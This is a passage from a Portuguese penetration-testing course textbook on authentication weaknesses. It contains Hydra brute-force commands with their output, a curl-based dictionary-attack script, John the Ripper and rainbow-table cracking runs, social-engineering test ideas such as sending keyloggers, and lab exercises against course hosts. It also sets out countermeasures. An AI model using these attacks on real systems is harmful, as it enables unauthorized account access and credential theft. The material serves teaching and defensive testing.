[STATUS] attack finished for exemplo.esr.rnp.br (waiting for children


to finish)

[80][www] host: 192.168.213.200 login: esruser password: esruser

Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-28 23:26:23

Trocando-se http-head por http[s]-form-post, possvel realizar o teste contra um


sistema que utiliza autenticao baseada em formulrio. As informaes necessrias para
construo da requisio devem ser passadas no ltimo parmetro, de acordo com o
seguinte formato:

<url do autenticador>:<parmetros da requisio>:<mensagem de erro>

H duas variveis especiais, ^USER^ e ^PASS^ , que so substitudas, na execuo de


Hydra, por todas as possveis combinaes de identificador de usurio e de senha formadas
a partir das listas de palavras passadas pelo analista. Por esse motivo, devem ser empre-
gadas, na requisio HTTP, como os valores dos parmetros referentes s credenciais de
acesso de usurio.
Teste de Invaso de Aplicaes Web

O resultado disso tudo, quando aplicado ao formulrio da Figura 27, o comando abaixo
ilustrado. Um ponto importante que deve ser observado que a sintaxe s permite destacar
uma nica mensagem de erro. Porm, no cenrio em questo, a aplicao web exibe textos
diferentes para senha incorreta e usurio inexistente. Consequentemente, se a lista de
identificadores passada por meio da opo -L contiver usurios invlidos, falsos positivos
ocorrero, porque o utilitrio no conseguir interpretar a mensagem de erro devolvida.

~$ hydra -L ids -P pwds -e ns form-auth.esr.rnp.br http-post-form 8

/login.php:userid=^USER^&senha=^PASS^&Submit1=Login:incorreta

112
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use
allowed only for legal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-29 01:54:53

[DATA] 16 tasks, 1 servers, 40 login tries (l:5/p:8), ~2 tries per


task

[DATA] attacking service http-post-form on port 80

[80][www-form] host: 192.168.213.200 login: admin password:


admin

[80][www-form] host: 192.168.213.200 login: user password: 123

[STATUS] attack finished for form-auth.esr.rnp.br (waiting for


children to finish)

[80][www-form] host: 192.168.213.200 login: usuario password:


senha

Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-29 01:54:54

Essa limitao apresentada pelo utilitrio Hydra pode ser facilmente superada, por meio
de uma adaptao no script da Figura 3.12, utilizado para enumerao de usurios. Basi-
camente, um lao externo deve ser adicionado para varrer o dicionrio de senhas, e o
comando condicional, limitado ao caso de autenticao bem-sucedida. A Figura 3.22 exibe o
novo script, contendo as alteraes necessrias.

# !/bin/bash

for pwd in $(cat pwds)

do

for id in $(cat ids)

do

if [ $(curl -s --data userid=$id&senha=$pwd&Submit1=Login \

http://form-auth.esr.rnp.br/login.php | \
Captulo 3 - Teste do mecanismo de autenticao

grep -c bem-vindo) -ne 0 ];

then

echo ($id, $pwd)

fi
Figura 3.22
Script para teste de done
dicionrio contra
formulrios de done
autenticao.

113
Ataque contra senhas armazenadas
Durante um teste de invaso em aplicaes web, no raro obter senhas a partir de q
arquivos e bancos de dados.

Quando isso acontece, ou elas esto armazenadas completamente em claro ou so protegidas


por algum mecanismo criptogrfico, mas de maneira vulnervel. No melhor caso, quando a
proteo das senhas em disco feita corretamente, pode ocorrer de a qualidade delas ser
muito baixa, devido a usurios no conscientizados em segurana da informao.

Qualquer que seja o cenrio, entretanto, o objetivo a ser perseguido sempre a extrao q
de credenciais vlidas para acesso ao sistema alvo. Para isso, podem ser utilizadas tcnicas
baseadas em criptoanlise, tema do Captulo 9, ou calcadas na fraqueza das senhas.

Um timo utilitrio, nesse contexto, o John the Ripper, disponvel para diversas plata-
formas, sob licena GPLv2, e com suporte nativo a arquivos de senhas de sistemas Unix/
Linux, Windows e Kerberos/AFS. Visando um maior desempenho, em vez de utilizar a API
crypt, alguns dos algoritmos criptogrficos e rotinas de suporte foram desenvolvidos direta-
mente em linguagem Assembly, para vrias arquiteturas diferentes, sobretudo x86.

H trs modos de operao pr-definidos, que adotam estratgias diferentes para recu- q
perao das senhas, a partir dos arquivos protegidos:

1 Single-crack: utiliza como candidatas a senhas o prprio identificador de usurio,


campo GECOS, diretrio home da conta e diversas variaes sobre esses valores. GECOS
Se uma senha validada, ela automaticamente testada contra as demais contas uma entrada no
arquivo /etc/passwd,
fornecidas, sob a hiptese de uma senha padro ser adotada no ambiente.
em sistemas Unix/Linux,
1 Lista de palavras: efetua um ataque de dicionrio com base na lista de palavras que contm informaes
sobre a conta de
fornecidas e variaes definidas pelas regras habilitadas. Palavras repetidas no so
usurio, como nome e
desconsideradas e o processo executado mais rapidamente se houver mudana de telefone, por exemplo.
apenas poucos caracteres entre valores consecutivos.

1 Incremental: realiza um ataque de fora bruta, variando os caracteres de acordo


com o alfabeto definido para o teste. Para aumentar a eficcia, quando possvel, con-
sidera a frequncia de ocorrncia na lngua de sequncias especficas de trs letras,
utilizando as mais provveis primeiramente.

O exemplo abaixo ilustra a maneira mais simples de utilizar a ferramenta para quebrar
um arquivo de senhas. Quando nenhum parmetro adicional, alm do nome de arquivo,
passado na linha de comando, John the Ripper opera nos trs modos disponveis, na ordem
em que foram acima apresentados, at que o trabalho seja concludo, ou interrompido
pelo usurio. Observe-se que as senhas em claro, neste caso especfico, foram encontradas
aps meros 14 segundos. importante ter em mente, porm, que muitas vezes, se no na
maioria, a tarefa consumir tempo bem maior.
Teste de Invaso de Aplicaes Web

~$ john passwords

Loaded 3 password hashes with 3 different salts (Traditional DES


[64/64 BS MMX])

esruser (esruser)

juk (esr)

senhad (hard)

guesses: 3 time: 0:00:00:14 (3) c/s: 812046 trying: secKXy senhhr

114
Ataques de dicionrio so muito mais eficientes que os de fora bruta, porque senhas q
improvveis no so testadas no processo. A eficcia do mtodo, porm, depende da
qualidade e tamanho da lista empregada de palavras, uma vez que a senha deve estar
contida nela, para o ataque funcionar.

Nos casos em que a tcnica utilizada contra arquivos de senhas, possvel conseguir um
grande ganho de desempenho, pois no preciso verificar as palavras uma a uma. A ideia
consiste em alterar a estrutura do dicionrio, de modo a incluir, para cada palavra, a contra-
parte protegida, que passa a ser a chave de busca. Desse modo, para cada senha protegida
do arquivo alvo, verifica-se se o dicionrio contm um registro correspondente e, em caso
positivo, a senha em claro a palavra associada.

Uma abordagem mais elegante, que permite reduzir o consumo de espao, resume- q
-se no uso de rainbow tables, que foram introduzidas por Oeschslin (2003) como uma
melhoria do trabalho de Hellman (1980).

Para a explicao a seguir, considere-se que as senhas so protegidas, por meio de uma
funo de hash criptogrfica, denotada por h(x), e que Ri(x) corresponde a uma famlia de
funes que mapeiam hashes para senhas.

O elemento central da soluo o rainbow chain, que consiste em uma sequncia de q


valores alternados de senhas e hashes, calculados a partir de uma senha inicial.

h(s1) R1(h1) h(s2) h(st-1) Rt-1(ht-1)


s1 h1 s2 ht-1 st

Diversas cadeias de mesmo comprimento so geradas, a partir de senhas iniciais dife-


rentes, e somente o primeiro e ltimo elementos de cada uma delas so armazenados,
resultando em economia de espao.

Note que com esses valores possvel reconstruir qualquer cadeia na tabela, bastando para
isso aplicar alternadamente h(x) e Ri(x) senha inicial.

Para verificar se possvel recuperar a pr-imagem (senha) de um hash H qualquer, a partir


da tabela, os seguintes passos devem ser efetuados:

1. Seja a i-sima cadeia parcial a sequncia de valores alternados de hashes e senhas, calculados
a partir de Ri(H), com 1 i t 1:

R1(H) h(si+1) Ri+1(hi+1) h(st-1) Rt-1(ht-1)


H1 si+1 hi+1 ht-1 st

Captulo 3 - Teste do mecanismo de autenticao


2. Iniciando com i = t 1 e decrescendo at i = 1, calculam-se as cadeias parciais, at que
a senha final (s t) seja encontrada como elemento final de uma linha L da tabela. Se isso
ocorrer, procede-se ao passo seguinte; se no, o teste encerrado sem sucesso.

3. Neste passo, a cadeia reconstruda a partir da senha inicial recuperada da linha L, at hi,
o qual deve ser comparado contra H. Se os valores forem iguais, a senha procurada a si,
isto , aquela imediatamente anterior ao hi. Caso contrrio, obteve-se um falso alarme e o
processo deve retornar ao Passo 1, a partir da ltima cadeia parcial avaliada.

Na prtica, o processo de busca bem rpido, mas dependendo dos comprimentos de


senha contemplados e dos alfabetos utilizados, o tamanho total das tabelas pode ultra-
passar vrios terabytes. Como o processo de gerao dessas tabelas bem demorado, o ideal
obt-las de algum lugar, j prontas, como o projeto Free Rainbow Tables, por exemplo. Nesse
site, esto disponveis tabelas gratuitas para MD5, SHA-1 e NTLM, entre outros formatos.

115
Entre os exemplos de softwares que podem ser empregados para realizar ataques base- q
ados em rainbow tables esto:

1 RainbowCrack: um conjunto composto por trs softwares, que permitem gerar


rainbow tables, orden-las e utiliz-las no processo de quebra de arquivos de senhas.
So compatveis com plataformas Linux e Windows e podem aproveitar-se de
processadores grficos que empregam tecnologia CUDA, aumentando consideravel- CUDA
mente o desempenho do ataque. Compute Unified
Device Architecture
1 Ferramentas do projeto Free Rainbow Tables: so um conjunto de ferramentas uma arquitetura de
baseadas no RainbowCrack, mas que permitem o uso de tabelas indexadas e computao paralela,
criada pela Nvidia, capaz
hbridas, menores que as no formato original. Podem ser executadas nativamente em
de fornecer alto poder
sistemas Windows e Linux. de processamento,
1 Cryptohaze GPU Rainbow Cracker: permite gerar e utilizar rainbow tables, as quais utilizando os
processadores grficos
podem ser indexadas para um maior desempenho. Suporta plataformas Windows, que produzem.
Linux e Mac OS, em 64 bits, e requer a presena de um processador grfico com
suporte a CUDA.

O exemplo abaixo ilustra o uso do rcracki_mt, parte das ferramentas Free Rainbow Tables,
para encontrar a senha correspondente ao hash MD5, passado pela opo -h. Observe-se
que o processo todo durou pouco mais que trinta segundos e resultou na descoberta de
uma senha de seis letras minsculas seguidas de trs dgitos numricos. Antes disso, porm,
foram achadas 907 cadeias provveis, que conduziram a falsos alarmes. Para se ter ideia do
espao em disco necessrio, para a soluo desse cenrio foram empregadas tabelas que
totalizam cerca de 3 GBytes.

~$ rcracki_mt -h 2465d0454ec909560b45b72086604edf *.rti

Using 1 threads for pre-calculation and false alarm checking...

Found 4 rainbowtable files...

md5_hybrid(loweralpha#6-6,numeric#1-3)#0-0_0_10000x63130363_
distrrtgen[p][i]_0.rti:

reading index... 57605680 bytes read, disk access time: 0.87 s

reading table... 505042904 bytes read, disk access time: 7.22 s

verifying the file... ok

searching for 1 hash...

plaintext of 2465d0454ec909560b45b72086604edf is esrrnp240


Teste de Invaso de Aplicaes Web

cryptanalysis time: 3.05 s

statistics

-------------------------------------------------------

plaintext found: 1 of 1 (100.00%)

total disk access time: 8.10 s

116
total cryptanalysis time: 3.05 s

total pre-calculation time: 21.10 s

total chain walk step: 49985001

total false alarm: 907

total chain walk step due to false alarm: 7064898

result

-------------------------------------------------------

2465d0454ec909560b45b72086604edf esrrnp240
hex:657372726e70323430

Inexistncia de poltica de senhas forte


Ataques baseados em fora bruta, dicionrio e rainbow tables so executados mais q
facilmente, quando a aplicao no implementa uma poltica de senhas fortes, pois os
usurios costumam escolh-las de maneira revisvel.

Em testes caixa-cinza e caixa-branca, primeiramente, deve-se avaliar a qualidade da poltica


de senhas adotada e, somente depois, procurar por fraquezas na maneira como foi imple-
mentada. Para testes caixa-preta, a anlise de segurana deve se basear em diretrizes gerais
de senhas seguras, como as discutidas nesta seo, uma vez que a poltica no fornecida
como insumo de trabalho.

Vejamos a seguir os itens que devem constar em uma boa poltica de senhas, a razo de q
cada requisito e as tcnicas de teste que podem ser empregadas, para valid-la:

1 Comprimento mnimo.
1 Complexidade.
1 Troca peridica.
1 Histrico.
1 Mximo de trocas por dia.
1 Bloqueio de contas.

Comprimento mnimo Captulo 3 - Teste do mecanismo de autenticao

Influi diretamente na cardinalidade do espao de senhas e, logo, no nmero de senhas que


precisam ser testadas. Considerando o poder de processamento das placas grficas atuais,
o tamanho mnimo recomendado para senhas de contas de usurios comuns e adminis-
trativos de 8 e 14 posies, respectivamente. Esse requisito deve ser testado em telas de
cadastro de contas e alterao de senhas, com auxlio de um proxy de interceptao, para
verificar se o tamanho validado no lado do servidor.

Complexidade
Uma senha forte deve conter elementos de, pelo menos, trs dos seguintes grupos: letras
maisculas, letras minsculas, nmeros e caracteres especiais. Alm disso, no devem
ser utilizadas palavras de dicionrio, nmeros de documento, datas, nomes, nmeros de
telefone e nem variaes. Quando tudo isso adotado, ataques de dicionrio tornam-se

117
ineficazes, pois as senhas deixam de ser encontradas nas listas de palavras normalmente
empregadas. Para testar esse requisito, deve-se tentar fornecer senhas que no satisfaam
as regras estabelecidas, nas telas de cadastro de contas e alterao de senhas. Se a vali-
dao da complexidade for executada no lado cliente da aplicao, um proxy de intercep-
tao deve ser utilizado.

Troca peridica
O principal objetivo desse requisito reduzir o tempo em que uma conta comprometida
pode ser utilizada pelo atacante, nos casos em que o fato no percebido pelo usurio.
A frequncia com que a troca deve ocorrer, todavia, um ponto controverso, pois, se
for muito alta, pode favorecer o esquecimento da senha e criar um novo problema. Por
exemplo, se a cada 15 dias o usurio for obrigado a escolher uma nova senha, as chances de
ele escrev-la em algum lugar so grandes. Desse modo, na prtica, os padres e normas
de segurana adotam um prazo balanceado para troca, que varia de 60 a 90 dias. A melhor
maneira de testar esse item por meio de inspeo de cdigo, em um teste caixa-branca.

Histrico
Impedir que o usurio troque a senha, para qualquer uma das n ltimas que tenha utilizado,
visa evitar que credenciais comprometidas voltem a ser empregadas e que a senha atual seja
mantida, por meio de trocas imediatas. Para validar esse requisito, basta tentar alterar a senha
para um dos valores contidos no histrico e observar se o sistema probe ou no a operao.

Mximo de trocas por dia


Limitar o nmero de vezes que um usurio pode trocar a senha no mesmo dia visa atuar
em conjunto com o histrico, para que a senha atual no seja mantida, por meio de trocas
imediatas. Por exemplo, se o sistema mantm um histrico de vinte senhas e somente uma
alterao diria permitida, so necessrios vinte dias, para que se retorne senha original.
Sem a ltima restrio, porm, o mesmo resultado pode ser obtido quase que instantanea-
mente. O teste que deve ser realizado, nesse caso, consiste em trocar a senha vrias vezes
consecutivas, contabilizando o total permitido. Se esse for um nmero muito alto, pelo
exposto acima, conclui-se que a aplicao vulnervel.

Bloqueio de contas
Quando uma srie de tentativas malsucedidas de autenticao com a mesma conta for
detectada, ela deve ser imediatamente bloqueada, pois um ataque de fora bruta pode
estar sendo executado. Aps um tempo, que deve aumentar a cada ocorrncia, a conta deve
ser automaticamente destravada, para evitar ataques de negao de servio contra os usu-
rios da aplicao. Alternativamente, o desbloqueio pode ser realizado pelo administrador
do sistema, mediante solicitao formal do usurio. A validao desse controle consiste
na submisso consecutiva de senhas incorretas para uma dada conta e a observao do
Teste de Invaso de Aplicaes Web

comportamento da aplicao frente situao. Note, entretanto, que isso pode resultar em
perda de acesso e, por isso, no recomendvel em testes caixa-preta, salvo se for execu-
tado ao final do trabalho.

118
Negao de servio direcionada a usurios
Uma poltica inadequada de bloqueio de contas pode permitir ataques de negao de q
servio contra os usurios da aplicao. Em alguns casos, isso pode ter por objetivo favo-
recer o atacante, alm de causar incmodo vtima. Por exemplo, consideremos uma
aplicao de leilo eletrnico, que exibe os identificadores dos usurios participantes,
em ordem decrescente do lance efetuado. Alm disso, vamos supor que o sistema blo-
queia contas de usurio, aps trs tentativas invlidas de autenticao.

Se um usurio malicioso quiser aumentar as chances de obter um determinado item, ele


pode proceder da seguinte maneira (Stuttard e Pinto, 2007):

1. O usurio malicioso cria um programa para monitorar a pgina do item desejado.

2. Sempre que um usurio efetuar um lance, o programa trava a conta correspondente, por
meio de tentativas deliberadamente invlidas de autenticao, com o identificador do con-
corrente. Isso faz com que a vtima perca tempo, tentando desbloquear a conta que utiliza.

3. Prximo da hora de encerramento do leilo, o programa realiza um lance automtico, com


valor um centavo maior que o oferecido at ento, desde que no ultrapasse um limiar
pr-definido pelo atacante.

4. Se ningum conseguir efetuar um lance adicional, no pouco tempo restante, o ataque


bem-sucedido e o objeto, adquirido.

Observe que a grande vulnerabilidade desse cenrio que a aplicao revela a lista com- q
pleta de identificadores dos usurios que concorrem pelo mesmo item. Se o atacante
no tivesse essa informao, no seria capaz de bloquear os usurios necessrios.

Engenharia social
Mesmo hoje em dia, o maior problema de sistemas de autenticao de usurios no de q
origem tcnica, mas, sim, de natureza humana.

Por maior que seja a divulgao dos cuidados que devem ser tomados pelas pessoas no
mundo virtual, muitas delas ainda so vtimas de golpes enviados por correio eletrnico ou
disseminados por sites nada idneos. Todos os dias, dezenas de mensagens no solici-
tadas chegam s caixas de correio, com o objetivo de convencer o usurio a visitar alguma
pgina maliciosa ou abrir os anexos recebidos. Para isso, exploram a curiosidade e o medo,
caractersticos dos seres humanos, por meio de engenharia social. Por exemplo, fotos sobre
artistas, desastres naturais e escndalos sexuais sempre despertam a ateno das pessoas, Captulo 3 - Teste do mecanismo de autenticao
que tentam visualiz-las a qualquer custo, expondo-se a riscos desnecessrios. A Figura 3.23,
por sua vez, ilustra uma pgina falsificada de um banco, que supostamente perdeu a base
de usurios e requer, por isso, que recadastrem a cartela de chaves de segurana e a senha
do carto, sob pena de terem a conta bloqueada.

119
Algumas vezes, o contratante de um teste de invaso solicita que a postura de segurana q Figura 3.23
de seus colaboradores seja avaliada, como uma maneira de validar a eficcia da pol- Site falsificado,
para captura de
tica de segurana vigente. Nesse contexto, desde que se tenha autorizao por escrito, senha e cartela
tcnicas de engenharia social, como as implcitas nos cenrio acima, devem ser empre- de segurana.
gadas. Vejamos alguns testes que podem ser realizados:

1 Se no houver um processo formal para redefinio de senhas esquecidas, pode-se


ligar para a equipe de suporte, simulando a situao, como se fosse um usurio
vlido. Dependendo do treinamento em segurana do atendente, h uma boa chance
de ele fornecer uma senha, que permita conectar-se aplicao, pela porta principal.

1 Alternativamente, possvel ligar para um usurio, dizendo ser do suporte, e solicitar


que ele confirme a senha por telefone, devido a um problema ocorrido na base de
autenticao. Se a poltica de segurana for efetiva, o colaborador no informar
nada e avisar a equipe de resposta a incidentes.

1 A ltima abordagem consiste no envio ao usurio de um software malicioso que


capture as teclas digitadas ou que permita se conectar remotamente estao que
utiliza. Em qualquer dos casos, cedo ou tarde, as credenciais da vtima podero ser
obtidas. importante notar que, ao final do trabalho, o software esprio dever ser
removido do ambiente do cliente.

Exerccio de fixao 2 e
Vulnerabilidades em mecanismos de autenticao
Que tipos de vulnerabilidades podem ser encontrados em mecanismos de autenticao?
Teste de Invaso de Aplicaes Web

Contramedidas
Os seguintes controles devem ser considerados para evitar vulnerabilidades no meca- q
nismo de autenticao:

1 No permita identificadores de usurio repetidos na aplicao.


1 Remova, das reas acessveis pelo servidor web, arquivos que contenham credenciais
de acesso ao sistema e infraestrutura subjacente.

120
1 Remova, das pginas HTML e dos arquivos de cdigo-fonte, comentrios que conte- q
nham informaes de autenticao.

1 Desabilite contas pr-definidas da aplicao e das plataformas que a suportam, como


bancos de dados, servidores web, sistemas operacionais etc.

1 Implemente, na aplicao e nas plataformas subjacentes, polticas de senhas fortes


que considerem tamanho mnimo, complexidade, troca peridica, histrico, mximo
de trocas dirias e travamento de conta por tentativas malsucedidas de autenticao.
Nesse caso, o desbloqueio deve ocorrer, automaticamente, aps um perodo de
tempo pr-determinado, que deve aumentar a cada ocorrncia.

1 Para contas criadas automaticamente pela aplicao, atribua uma senha inicial alea-
tria e obrigue a troca no primeiro acesso.

1 Informe ao usurio, logo no incio de uma sesso, a data e hora da ltima vez em que
se conectou com sucesso.

1 Quando a autenticao falhar, exiba apenas uma mensagem de erro genrica. Nunca
informe se o identificador de usurio no existe ou se a senha incorreta. Adote
estratgia similar para mecanismos de recuperao de senha.

1 Em mecanismos de recuperao de senha, empregue perguntas secretas, cujas


respostas no sejam facilmente dedutveis ou encontradas na internet. Limite o
nmero de tentativas para acerto das questes, para evitar ataques de fora bruta.
Em caso de sucesso, envie uma mensagem automtica para o endereo de e-mail
pr-cadastrado, contendo um link para uma pgina efmera individualizada, na qual
a nova senha poder ser definida. Notifique a alterao ao usurio, por meio de nova
mensagem de correio eletrnico.

1 Se a aplicao possuir uma funcionalidade Lembrar Usurio, nunca memorize creden-


ciais completas, que o permitam conectar-se aplicao, sem fornecimento de senha.

1 Nunca confie em parmetros que podem ser alterados pelos usurios para decidir se
esto ou no autenticados.

1 Fornea a pgina de autenticao ao usurio somente por meio do protocolo HTTPS.


1 Sempre transmita credenciais de acesso por tneis protegidos criptograficamente.
1 Nunca submeta formulrios de autenticao por meio do mtodo GET. Igualmente,
no passe credenciais pela URL em processos de redirecionamento.

1 Configure o lado servidor dos tneis criptogrficos, de acordo com as melhores pr-
ticas de segurana conhecidas.
Captulo 3 - Teste do mecanismo de autenticao
1 Se um erro inesperado ocorrer, a aplicao deve permanecer em um estado seguro.
1 Valide a entrada imediatamente antes de process-la, de modo que o formato espe-
rado seja respeitado.

1 No exiba mensagens de erro contendo informaes sobre as plataformas e tecnolo-


gias empregadas.

1 Exija sempre o fornecimento da senha atual para efetuar a troca de senha de um usurio.
1 Em mecanismos de autenticao baseados em mltiplos fatores, sempre verifique
que todas as etapas esperadas foram corretamente validadas. Toda informao rela-
cionada ao processo de autenticao deve ser mantida no servidor, exclusivamente.

121
1 Nunca armazene as senhas em claro. Em vez disso, adicione a elas 128 bits de salt q
e guarde apenas o hash criptogrfico do valor resultante, como validador de cada
conta. Para os casos em que o nmero de senhas muito pequeno, empregue cifras
probabilsticas, em vez de funes de hash criptogrficas, para evitar ataques de
varredura completa do domnio.

1 No exiba um identificador de usurio para outras pessoas que no ele prprio.


1 Implante uma poltica de segurana e conscientize todos os usurios.
1 Registre em trilhas de auditoria todas as tentativas vlidas e invlidas de autenticao,
incluindo o identificador de usurio, data, hora, aplicao e endereo de origem.
Teste de Invaso de Aplicaes Web

122
Roteiro de Atividades 3
Atividade 1 Tecnologias de autenticao
Esta atividade tem por objetivo abordar tecnologias de autenticao empregadas em apli-
caes web, dando base para que o aluno realize as atividades de descoberta de vulnera-
bilidades e explorao. Para inici-la, carregue as mquinas virtuais do aluno e do servidor
(Fedora) e execute os roteiros na primeira delas.

Avaliao dos aspectos de autenticao


Acesse a pgina web de onde trabalhe e avalie os seguintes aspectos relacionados ao pro-
cesso de autenticao de usurios:

1 Qual o protocolo utilizado no carregamento da pgina de autenticao?


1 Que tipo de mecanismo de autenticao empregado?
1 Como o processo de recuperao de senhas?
1 A aplicao utiliza uma poltica de senhas fortes? Quais so os critrios adotados?
1 Como as senhas so protegidas durante o armazenamento?
1 As credenciais de acesso so enviadas por canal seguro?
1 Existe uma funcionalidade para lembrar o usurio?

Autenticao mtua de entidades em SSL/TLS


O propsito desta atividade ilustrar para o aluno como a identidade do usurio comprovada,
quando a opo de autenticao mtua de entidades dos protocolos SSL/TLS est habilitada.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse https://mauth.esr.rnp.br/.

3. Na janela que aparece, escolha Wrong User e clique em Ok. Observe que uma pgina gen-
rica de erro foi exibida.

4. Pressione Ctrl + Shift- + Del para limpar o histrico do Firefox, selecione Everything e clique
em Clear Now.

5. Clique no cone de recarregar a pgina.

6. Na janela que aparece, escolha ESR User e clique em Ok. Veja que o usurio foi autenticado
com sucesso, porm, nenhuma senha foi fornecida.

7. Feche o navegador.
Captulo 3 - Roteiro de Atividades

Atividade 2 Descoberta de vulnerabilidades e explorao


O propsito desta atividade introduzir ao aluno os mtodos que podem ser utilizados para
a descoberta e explorao de vulnerabilidades, em mecanismos de autenticao. Todos os
exerccios devem ser realizados na mquina virtual do aluno e altamente recomendado
que se tente traar a estratgia de explorao antes de seguir o roteiro fornecido.

123
Uso de informaes obtidas nas fases de reconhecimento e mapeamento
Neste exerccio, informaes encontradas nas etapas de reconhecimento e mapeamento
so utilizadas para se obter acesso ao sistema.

Parte I Arquivos contendo credenciais de acesso

1. Abra uma janela de terminal.

2. Visualize o contedo do arquivo robots.txt, da aplicao Mutillidae:

~$ curl http://mutillidae.esr.rnp.br/robots.txt

Observe que h um diretrio /passwords e um arquivo config.inc.

3. Encerre a janela de terminal.

4. Inicie o Firefox, presente no menu Aplicativos\Internet.

5. Acesse http://mutillidae.esr.rnp.br/passwords.

6. Visualize o contedo do arquivo accounts.txt.

7. Anote as senhas dos usurios admin e john.

8. Acesse http://mutillidae.esr.rnp.br.

9. Clique em Login.

10. Tente se conectar como o usurio admin e veja a mensagem no topo da tela.

11. Clique novamente em Login e repita o passo anterior, para o usurio ed.

Parte II Pistas no cdigo

12. Clique no marcador WebGoat e fornea guest e guest, quando usurio e senha
forem solicitados.

13. Clique em Start WebGoat.

14. No menu, ao lado esquerdo, clique em Code Quality e, depois, em Discover Clues in the HTML.

15. Visualize o cdigo-fonte da pgina, pressionando Ctrl + U.

16. Pressione Ctrl + F, para realizar uma busca, e digite <!-- no campo Find.

17. Clique repetidamente em Next at encontrar alguma informao interessante.

18. Feche a janela de cdigo-fonte.

19. Tente se autenticar com as credenciais encontradas.

20. O exerccio finalizado com sucesso e a mensagem * Congratulations. You have successfully
Teste de Invaso de Aplicaes Web

completed this lesson exibida.

21. Encerre o Firefox.

Usurio e senha padronizados


O objetivo deste exerccio utilizar contas pr-definidas para acesso a aplicaes e servios.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse a aplicao Tomcat Web Application Manager em:

http://exemplo.esr.rnp.br:8080/manager/html

124
3. Tente se autenticar com uma das senhas fornecidas na Tabela 5.

4. Acesse a aplicao phpMyAdmin em http://pma.esr.rnp.br.

5. Tente se autenticar com a senha fornecida na Tabela 5.

6. Encerre o Firefox.

Enumerao de identificadores de usurios


O foco desta prtica so as tcnicas de enumerao de identificadores de usurios, os quais
so necessrios para executar diversos outros ataques. O exerccio est dividido em duas
partes, ambas baseadas no mesmo formulrio de autenticao.

Parte I Enumerao via navegador

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse http://form-auth.esr.rnp.br/.

3. Digite seu primeiro nome nos campos Usurio e Senha e clique em Login.

4. Anote a mensagem de erro e clique em Retornar pgina de login.

5. Digite guest nos campos Usurio e Senha, e clique em Login.

6. Qual a diferena em relao mensagem de erro anterior? Como isso pode ser utilizado
para enumerar usurios?

7. Clique em Retornar pgina de login.

8. Digite seu primeiro nome no campo Usurio e clique em Esqueci minha senha.

9. Anote a mensagem de erro e clique em Retornar pgina de login.

10. Digite guest no campo Usurio e clique em Esqueci minha senha.

11. O mecanismo de recuperao de senhas tambm permite enumerar usurios?

12. Clique no cone Retornar do Firefox.

13. Encerre o Firefox.

Parte II Enumerao via script

14. Abra uma janela de terminal.

15. Digite o comando:

~$ cd Arquivos\ do\ Curso/sessao-03/

16. Requisite a pgina de autenticao e identifique os elementos de entrada e o script que


realiza a validao das credenciais:
Captulo 3 - Roteiro de Atividades

~$ curl http://form-auth.esr.rnp.br

17. Visualize o script de enumerao e como os elementos identificados no passo anterior


so utilizados:

~$ cat enumerate

18. Visualize a lista de identificadores de usurio:

~$ cat ids

125
19. Execute o script de enumerao:

~$ ./enumerate

Foi possvel encontrar credenciais completas no teste?

20. Encerre a janela de terminal.

Mecanismo vulnervel de recuperao de senhas


Neste exerccio, o leitor explorar o mecanismo vulnervel de recuperao de senhas, por
meio de um ataque de fora bruta contra o conjunto de respostas.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Acesse http://form-auth.esr.rnp.br/.

3. Digite usuario no campo Usurio e clique em Esqueci minha senha.

4. Teste todas as cores possveis, at encontrar a resposta correta.

5. Anote a senha apresentada e clique em Retornar pgina de login.

6. Tente se autenticar com a senha recuperada.

7. Quais so as vulnerabilidades presentes nesse exemplo?

8. Encerre o Firefox.

Transporte inseguro de credenciais de acesso


O objetivo deste exerccio comparar o transporte de credenciais de acesso por canais
seguros contra aqueles sem segurana nenhuma.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.

2. Inicie o Wireshark, presente no menu Aplicativos\Curso Ferramentas. Para conseguir cap-


turar os pacotes, a aplicao deve ser executada em modo privilegiado e, por isso, uma
senha ser solicitada. Digite esruser e clique em Ok.

3. Clique no primeiro cone da barra de ferramentas, para listar as interfaces de rede dis-
ponveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1.
Em seguida, no campo Capture filter, digite tcp port http e clique em Start, para iniciar a
Teste de Invaso de Aplicaes Web

captura de pacotes.

4. Acesse com o Firefox a pgina http://form-auth.esr.rnp.br/.

5. Digite admin nos campos Usurio e Senha e clique em Login.

6. Pare a captura de pacotes no Wireshark, clicando no quarto boto da barra de ferra-


mentas (Stop the running live capture).

7. Procure pela linha contendo POST /login.php e a selecione.

8. Na segunda parte da tela, expanda o item Line-based text data e observe que as creden-
ciais so transmitidas sem nenhuma proteo.

126
9. Clique novamente no primeiro cone da barra de ferramentas do Wireshark, para listar as
interfaces de rede disponveis para captura. Na caixa de dilogo que aparece, clique em
Options da linha eth1. Em seguida, no campo Capture filter, digite tcp port https e clique
em Start para iniciar a captura de pacotes.

10. Clique em Continue without Saving.

11. Clique no boto Clear, ao lado do campo de filtragem.

12. Acesse com o Firefox a pgina https://w3s.esr.rnp.br/basic.

13. Digite esruser tanto para usurio como para senha e clique em Ok.

14. Pare a captura de pacotes no Wireshark, clicando no quarto boto da barra de ferra-
mentas (Stop the running live capture).

15. Procure pela primeira linha contendo Application data, Application data e a selecione.

16. Na segunda parte da tela, expanda o item Secure Socket Layer e observe que todo o
contedo est cifrado.

17. Encerre o Wireshark e o Firefox.

Falhas na implementao do mecanismo


Conforme visto, erros na lgica do cdigo que trata a autenticao de usurios podem
resultar na completa evaso do mecanismo. Nesse contexto, a presente atividade aborda
dois cenrios, cada um baseado em um problema diferente.

Parte I Falha de maneira insegura

1. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.

2. Inicie o Firefox, presente no menu Aplicativos\Internet.

3. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab.

4. Acesse o WebGoat, por meio da barra de atalhos.

5. Fornea guest para Usurio e Senha.

6. Clique em Start WebGoat.

7. No menu do lado esquerdo, clique em Improper Error Handling e, em seguida, em Fail Open
Authentication Scheme.

8. Digite webgoat e password para os campos User Name e Password, respectivamente, e


clique em Login. A autenticao foi bem-sucedida?

